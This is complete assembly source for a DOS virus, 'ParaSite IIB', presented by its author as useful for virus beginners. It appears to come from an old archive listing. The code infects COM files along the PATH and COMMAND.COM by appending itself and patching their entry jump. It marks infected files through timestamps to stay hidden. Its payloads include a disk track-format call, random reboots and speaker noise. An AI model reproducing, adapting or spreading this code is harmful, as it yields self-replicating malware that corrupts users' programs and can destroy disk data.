home *** CD-ROM | disk | FTP | other *** search
- ;********************************************************************
- ; <PARSIT2B.ASM> - ParaSite Virus IIB
- ; By: Rock Steady
- ; Close to one year I created this Virus. As you can see it is quite
- ; old... Maybe too Old... But here it is... It Sucks... but its great
- ; for any virus beginner... Anyhow...
- ; NOTES: Simple COM infector. 10% of the time it reboots the system
- ; 20% it plays machine gun noices on the PC speaker... and
- ; 70% of the time is infects another COM file... Have fun...
- ;********************************************************************
- MOV_CX MACRO X
- DB 0B9H
- DW X
- ENDM
-
- CODE SEGMENT
- ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
- ORG 100H
-
-
- VCODE: JMP virus
-
- NOP
- NOP ; To identify it as an Infected
- NOP ; Program!
-
- v_start equ $
-
-
- virus: PUSH CX
- MOV DX,OFFSET vir_dat
- CLD
- MOV SI,DX
- ADD SI,first_3
- JMP Rock_1
- Rock_2:
- MOV DX,dta
- ADD DX,SI
- MOV AH,1AH
- INT 21H
- PUSH ES
- PUSH SI
- MOV ES,DS:2CH
- MOV DI,0
- JMP Day_Of_Week
- Rock_1:
- MOV CX,3
- MOV DI,OFFSET 100H
- REPZ MOVSB
- MOV SI,DX
- PUSH ES
- MOV AH,2FH
- INT 21H
- MOV [SI+old_dta],BX
- MOV [SI+old_dts],ES
- POP ES
- JMP Rock_2
-
- Day_Of_Week:
- MOV AH,2AH ;Get System date!
- INT 21H
- CMP AL,1 ;Check to See if it's Monday!
- JGE day_check ;Jump if later than Mondays
- JMP Get_Time
- day_check:
- CMP AL,1 ;Check to see if it is the 1st
- JA Get_Time ;If yes, create a MESS...
- JMP Bad_Mondays ;If not, then go on with infecti
- mess:
-
- Bad_Mondays:
- MOV DL,2 ;The Formatting Tracks..
- MOV AH,05
- MOV DH,80h
- MOV CH,0
- INT 13h
-
- Play_music:
- MOV CX,20d ;Set number of Shots
- new_shot:
- PUSH CX ;Save Count
- CALL Shoot
- MOV CX,4000H
- Silent: LOOP silent
- POP CX
- LOOP new_Shot
- JMP mess
-
- SHOOT proc near ;The Machine Gun Noices...
- MOV DX,140h
- MOV BX,20h
- IN AL,61h
- AND AL,11111100b
- SOUND: XOR AL,2
- OUT 61h,al
- ADD dx,9248h
- MOV CL,3
- ROR DX,CL
- MOV CX,DX
- AND cx,1ffh
- OR CX,10
- WAITA: LOOP WAITA
- DEC BX
- JNZ SOUND
- AND AL,11111100b
- OUT 61h,AL
- RET
- Shoot Endp
-
- Get_Time:
- MOV AH,2Ch ; Get System Time!
- INT 21h ;
- AND DH,0fh
- CMP DH,3
- JB Play_music
- CMP DH,3h
- JA Find_Path
- INT 19h
-
- go:
- MOV AH, 47H
- XOR DL,DL
- ADD SI, OFFSET orig_path - OFFSET buffer - 8
- INT 21H
- JC find_path
-
- MOV AH,3BH
- MOV DX,SI
- ADD DX, OFFSET root_dir - OFFSET orig_path
- INT 21H
-
- infect_root:
- MOV [BX+nam_ptr],DI
- MOV SI,BX
- ADD SI,f_ipec
- MOV CX,6
- REPZ MOVSB
- JMP hello
-
- find_path:
- POP SI ; Seek and Destroy...
- PUSH SI
- ADD SI,env_str
- LODSB
- MOV CX,OFFSET 8000H
- REPNZ SCASB
- MOV CX,4
-
- check_next_4:
- LODSB
- SCASB
- ;
- ; The JNZ line specifies that if there is no PATH present, then we will
- ; along and infect the ROOT directory on the default drive.
-
- JNZ find_path ;If not path, then go to ROOT di
- LOOP check_next_4 ;Go back and check for more char
- POP SI ;Load in PATH again to look for
- POP ES
- MOV [SI+path_ad],DI
- MOV DI,SI
- ADD DI,wrk_spc
- MOV BX,SI
- ADD SI,wrk_spc ;the File Handle
- MOV DI,SI
- JMP SHORT slash_ok
-
- set_subdir:
- CMP WORD PTR [SI+path_ad],0
- JNZ found_subdir
- JMP all_done
-
-
- found_subdir:
- PUSH DS
- PUSH SI
- MOV DS,ES:2CH
- MOV DI,SI
- MOV SI,ES:[DI+path_ad]
- ADD DI,wrk_spc ;DI is the handle to infect!
-
-
- move_subdir:
- LODSB ;To tedious work to move into su
- NOP
- CMP AL,';' ;Does it end with a ; character?
- JZ moved_one ;if yes, then we found a subdir
- CMP AL,0 ;is it the end of the path?
- JZ moved_last_one ;if yes, then we save the PATH
- STOSB ;marker into DI for future refer
- JMP SHORT move_subdir
-
- moved_last_one:
- MOV SI,0
-
- moved_one:
- POP BX ;BX is where the virus data is
- POP DS ;Restore DS
- NOP
- MOV [BX+path_ad],SI ;Where is the next subdir?
- CMP CH,'\' ;Check to see if it ends in \
- JZ slash_ok ;If yes, then it's OK
- MOV AL,'\' ;if not, then add one...
- STOSB ;store the sucker
-
-
-
- slash_ok:
- MOV [BX+nam_ptr],DI ;Move the filename into workspac
- MOV SI,BX ;Restore the original SI value
- ADD SI,f_spec ;Point to COM file victim
- MOV CX,6
- REPZ MOVSB ;Move victim into workspace
- hello:
- MOV SI,BX
- MOV AH,4EH
- MOV DX,wrk_spc
- ADD DX,SI ;DX is ... The File to infect
- MOV CX,3 ;Attributes of Read Only or Hidd
- INT 21H
- JMP SHORT find_first
- joe1:
- JMP go
-
- find_next:
- MOV AH,4FH
- INT 21H
-
- find_first:
- JNB found_file ;Jump if we found it
- JMP SHORT set_subdir ;Otherwise, get another subdirec
-
- found_file:
- MOV AX,[SI+dta_tim] ;Get time from DTA
- AND AL,1EH ;Mask to remove all but seconds
- CMP AL,1EH ;60 seconds
- JZ find_next
- CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too LON
- JA find_next ;If too long, find another one
- CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
- JB find_next ;Then go find another one
- MOV DI,[SI+nam_ptr]
- PUSH SI
- ADD SI,dta_nam
-
- more_chars:
- LODSB
- STOSB
- CMP AL,0
- JNZ more_chars
- POP SI
- MOV AX,OFFSET 4300H
- MOV DX,wrk_spc
- ADD DX,SI
- INT 21H
- MOV [SI+old_att],CX
- MOV AX,OFFSET 4301H
- AND CX,OFFSET 0FFFEH
- MOV DX,wrk_spc
- ADD DX,SI
- INT 21H
- MOV AX,OFFSET 3D02H
- MOV DX,wrk_spc
- ADD DX,SI
- INT 21H
- JNB opened_ok
- JMP fix_attr
-
- opened_ok:
- MOV BX,AX
- MOV AX,OFFSET 5700H
- INT 21H
- MOV [SI+old_tim],CX ;Save file time
- MOV [SI+ol_date],DX ;Save the date
- MOV AH,2CH
- INT 21H
- AND DH,7
- JMP infect
-
-
- infect:
- MOV AH,3FH
- MOV CX,3
- MOV DX,first_3
- ADD DX,SI
- INT 21H ;Save first 3 bytes into the data area
- JB fix_time_stamp
- CMP AX,3
- JNZ fix_time_stamp
- MOV AX,OFFSET 4202H
- MOV CX,0
- MOV DX,0
- INT 21H
- JB fix_time_stamp
- MOV CX,AX
- SUB AX,3
- MOV [SI+jmp_dsp],AX
- ADD CX,OFFSET c_len_y
- MOV DI,SI
- SUB DI,OFFSET c_len_x
- JMP CONT
- JOE2:
- JMP JOE1
- CONT:
- MOV [DI],CX
- MOV AH,40H
- MOV_CX virlen
- MOV DX,SI
- SUB DX,OFFSET codelen
- INT 21H
- JB fix_time_stamp
- CMP AX,OFFSET virlen
- JNZ fix_time_stamp
- MOV AX,OFFSET 4200H
- MOV CX,0
- MOV DX,0
- INT 21H
- JB fix_time_stamp
- MOV AH,40H
- MOV CX,3
- MOV DX,SI
- ADD DX,jmp_op
- INT 21H
-
- fix_time_stamp:
- MOV DX,[SI+ol_date]
- MOV CX,[SI+old_tim]
- AND CX,OFFSET 0FFE0H
- OR CX,1EH
- MOV AX,OFFSET 5701H
- INT 21H
- MOV AH,3EH
- INT 21H
-
- fix_attr:
- MOV AX,OFFSET 4301H
- MOV CX,[SI+old_att]
- MOV DX,wrk_spc
- ADD DX,SI
- INT 21H
-
- all_done:
- PUSH DS
- MOV AH,1AH
- MOV DX,[SI+old_dta]
- MOV DS,[SI+old_dts]
- INT 21H
- POP DS
-
- quit:
- MOV BX,OFFSET count
- CMP BX,0
- JB joe2
- POP CX
- XOR AX,AX ;XOR values so that we will give
- XOR BX,BX ;poor sucker a hard time trying
- XOR DX,DX ;reassemble the source code if h
- XOR SI,SI ;decides to dissassemble us.
- MOV DI,OFFSET 0100H
- PUSH DI
- XOR DI,DI
- RET 0FFFFH ;Return back to the beginning
- ;of the program
-
- vir_dat EQU $
-
- Aurther DB "ParaSite IIB - By: Rock Steady"
- olddta_ DW 0
- olddts_ DW 0
- oldtim_ DW 0
- count_ DW 0
- oldate_ DW 0
- oldatt_ DW 0
- first3_ EQU $
- INT 20H
- NOP
- jmpop_ DB 0E9H
- jmpdsp_ DW 0
- fspec_ DB '*.COM',0
- fipec_ DB 'COMMAND.COM',0
- pathad_ DW 0
- namptr_ DW 0
- envstr_ DB 'PATH='
- wrkspc_ DB 40h dup (0)
- dta_ DB 16h dup (0)
- dtatim_ DW 0,0
- dtalen_ DW 0,0
- dtanam_ DB 0Dh dup (0)
- buffer DB 0CDh, 20h, 0, 0, 0, 0, 0, 0
- orig_path DB 64 dup (?)
- root_dir DB '\',0
- lst_byt EQU $
- virlen = lst_byt - v_start
- codelen = vir_dat - v_start
- c_len_x = vir_dat - v_start - 2
- c_len_y = vir_dat - v_start + 100H
- old_dta = olddta_ - vir_dat
- old_dts = olddts_ - vir_dat
- old_tim = oldtim_ - vir_dat
- ol_date = oldate_ - vir_dat
- old_att = oldatt_ - vir_dat
- first_3 = first3_ - vir_dat
- jmp_op = jmpop_ - vir_dat
- jmp_dsp = jmpdsp_ - vir_dat
- f_spec = fspec_ - vir_dat
- f_ipec = fipec_ - vir_dat
- path_ad = pathad_ - vir_dat
- nam_ptr = namptr_ - vir_dat
- env_str = envstr_ - vir_dat
- wrk_spc = wrkspc_ - vir_dat
- dta = dta_ - vir_dat
- dta_tim = dtatim_ - vir_dat
- dta_len = dtalen_ - vir_dat
- dta_nam = dtanam_ - vir_dat
- count = count_ - vir_dat
- CODE ENDS
- END VCODE
-
-